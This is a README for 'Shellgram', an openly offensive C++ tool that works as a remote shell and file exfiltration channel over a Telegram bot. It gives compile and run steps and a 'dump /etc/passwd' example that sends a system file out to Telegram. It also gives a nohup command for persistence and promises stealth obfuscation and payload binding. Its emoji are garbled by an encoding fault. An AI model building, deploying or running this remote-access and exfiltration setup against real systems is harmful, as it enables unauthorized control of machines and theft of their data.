Remote Telegram Shell & File Uploader Bot (C++)
Shellgram is a lightweight C++ tool that allows remote shell command execution and file uploading through a Telegram bot. This tool is designed for ethical hackers and red-teamers who want to interact with target systems remotely using Telegram.
- π‘ Execute remote shell commands via Telegram
- π Upload any file using
dump <filename>command - π© Get command output instantly in Telegram
- π Works through Telegram Bot API (no port forwarding needed)
- π§± Lightweight and fast (C++ with libcurl)
- C++ compiler (e.g.
g++) - libcurl
- Telegram Bot Token & Chat ID
-
π§ Edit Configuration: Replace the placeholders in the source code:
const string BOT_TOKEN = "YOUR BOT TOKEN"; const string CHAT_ID = "YOUR CHAT ID";
-
π οΈ Compile the Tool:
g++ -o shellgram shellgram.cpp -lcurl
-
π Run the Tool:
./shellgram
| Command | Action |
|---|---|
ls, whoami, etc. |
Executes shell command remotely |
dump filename |
Uploads specified file to Telegram |
β Example:
dump /etc/passwd
β οΈ This tool is for educational and authorized penetration testing purposes only. Do not use it on any system without proper permission.
Currently, Shellgram needs to be compiled and configured manually. In future updates, a setup script will be added that can:
- π§ Automatically set bot token & chat ID
- βοΈ Auto compile and bind Shellgram with a payload
- π Generate attack-ready executables
- π Obfuscate the final binary for stealth
- π₯οΈ Compile based on target system architecture (x86_64, arm, etc.)
Stay tuned!
Anon-404 GitHub: @Anon-404
Run the tool in background using:
nohup ./shellgram &This keeps the Telegram shell alive even after closing the terminal.